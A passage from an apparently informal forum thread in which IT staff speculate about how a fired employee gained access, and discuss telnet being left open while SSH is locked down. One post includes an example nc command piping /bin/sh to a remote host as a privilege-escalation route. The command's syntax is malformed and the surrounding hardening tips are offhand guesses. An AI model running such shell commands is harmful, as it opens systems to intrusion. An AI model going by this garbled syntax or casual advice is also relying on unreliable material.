He was subsequently fired and they wouldn't let me get his desktop to find out how he got access. Instead they wiped it and set it up again.
    How typical of corporate types... no fun in anything.

    If I had to guess, he probably bound port 22 to something more traditional, like 8080 (since ≤80 is root-only binding traditionally IIRC)... unless he was using the telnet protocol like a boss, and the telnet binary itself is restricted... in which case, I'd vote "hire him on so we can learn how he did that."

    That's what I was thinking because they won't restrict the telnet binary for some god for saken reason. It's been suggested many times over especially with ssh being widely available and adaptable.

    Oh... if SSH isn't locked down tighter than a pirate's hard-won treasure, then y'all have much LARGER problems than telnet.

    Heck, y'all best make sure nc and ifconfig/BIND are chown'ed and chmod'ed correctly. Heck, use the root account to assign them a non-existent UID (if you don't use them). That's two very easy-to-do, very hard-to-find remote privilege escalation entrances right there... "nc 127.0.0.1:/bin/sh [email protected]s:22 -k <pubkey>" and you're sunk.

    No that's the issue ssh is locked down but not telnet. See it's kinda hard to explain but I believe they have to leave telnet to do something with the robots on the assembly lines and other areas of production. Like I said we do most of the Linux/unix systems and the communication to and from our servers. There's a totally different department that deals with the locking down and enforcing policies and such on the network. We just dabble alot (more free time than actual work time if everything running correctly) and try to help other departments out when we can.

    Oh, okay. So it's a company-wide policy that requires telnet be open for one function, but not another (but they just keep it open on all terminals)?

    Man, bad need-to-know user protocols will screw things up... but I have a feeling I'm preaching to the choir on that one.
